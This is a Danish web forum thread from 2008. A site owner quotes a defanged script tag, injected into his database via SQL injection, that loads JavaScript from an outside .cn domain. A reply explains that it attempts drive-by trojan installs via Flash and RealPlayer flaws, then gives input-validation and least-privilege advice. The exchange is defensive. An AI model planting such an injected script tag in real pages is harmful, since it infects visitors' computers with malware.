Avatar billede junold Nybegynder
23. juni 2008 - 09:04 Der er 8 kommentarer og
1 løsning

Virus, orm eller SQL injection?

Der er flere sider der har haft et angreb, hvor følgende script bliver tilføjet gentagne steder i databasen!

OBS KØR IKKE SCRIPTET!
<scr (kør mig ikke) ipt src=http://www.heiheinn.cn/k.js></scr (kør mig ikke) ipt>

Er der nogen der ved hvad det er? Og hvordan undgår man angrebet? OG hvad gør det script?

Håber på nogen kvalificerede bud.
Avatar billede drean Nybegynder
23. juni 2008 - 09:20 #1
De tilfælde jeg har undersøgt har været i forbindelse med et eller flere scripts der er åben for SQL injection.

Det script du linker til ser blandt andet ud til at prøve på at udnytte sårbarheder i:

Flash
Real Player

F.eks vil det prøve at installere en trojan på systemet (linket er til en automatisk antivirus scanning af filen):
http://www.virustotal.com/analisis/d20c4d6eb65032ab38339ea6a2996b9e

For at undgå angrebet, skal du tjekke alle dine scripts som bruger inputs (querystring, forms, cookies) i forbindelse med database opslag.
Avatar billede junold Nybegynder
23. juni 2008 - 09:27 #2
Har ellers prøvet at få sat alle inputs til at fjerne tegn som: ' , " og < .

Men tilsyneladende ikke godt nok!
Avatar billede junold Nybegynder
23. juni 2008 - 09:34 #3
Så dvs. at alle der går ind på siden hvor scriptet ligger, får virus på deres computer?
Avatar billede drean Nybegynder
23. juni 2008 - 09:38 #4
Der skal jo bare mangle et sted for at de kan komme igennem.

Nu ved jeg jo ikke om dit site er skrevet i PHP/ASP eller noget tredje. Men f.eks i PHP findes der nogle MySQL Escape funktioner som du måske kan gøre brug af:
http://dk.php.net/mysql_real_escape_string

Hvis du f.eks har en ID parameter, så vær sikker på at den kun accepterer tal.

Det er som regel bedre at kode med regler om hvad der MÅ være istedet for hvad der IKKE må være.
Avatar billede junold Nybegynder
23. juni 2008 - 09:40 #5
Det er asp og MSSQL det er skrevet i.
Avatar billede drean Nybegynder
23. juni 2008 - 09:44 #6
Der er en stor risiko for at de kan få virus, hvis deres systemet ikke er patchet op, eller hvis "hackerne" gør brug af en sårbarhed der ikke er udgivet patches til.
Avatar billede junold Nybegynder
23. juni 2008 - 09:50 #7
Ok. Jeg må gennemgå alle inputs nærmere.

Det er godt nok irritetende. Tak for svar!
Avatar billede drean Nybegynder
23. juni 2008 - 09:51 #8
ASP er ikke min stærkeste side, men mon ikke der findes nogle gode howto's på nettet omkring input validering i forbindelse med en MSSQL database.

Du kan jo eventuelt selv prøve at teste dit site, alle de steder hvor du bruger f.eks querystrings, prøv at skifte inputtet ud med en ',", < eller >, for at se om koden fejler.

En ting man også kan gøre er at bruge flere brugere til SQL databasen.
De steder hvor du kun har brug for at læse data er der ingen grund til at forbinde med en bruger, som har skriveadgang.
Dette begrænser angrebs mulighederne, men gør kodningen lidt mere besværlig, og det er ikke alle udbydere der tilbyder mulighed for flere brugere til den samme database.
Avatar billede drean Nybegynder
23. juni 2008 - 09:52 #9
Også lige et svar til sidst :)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester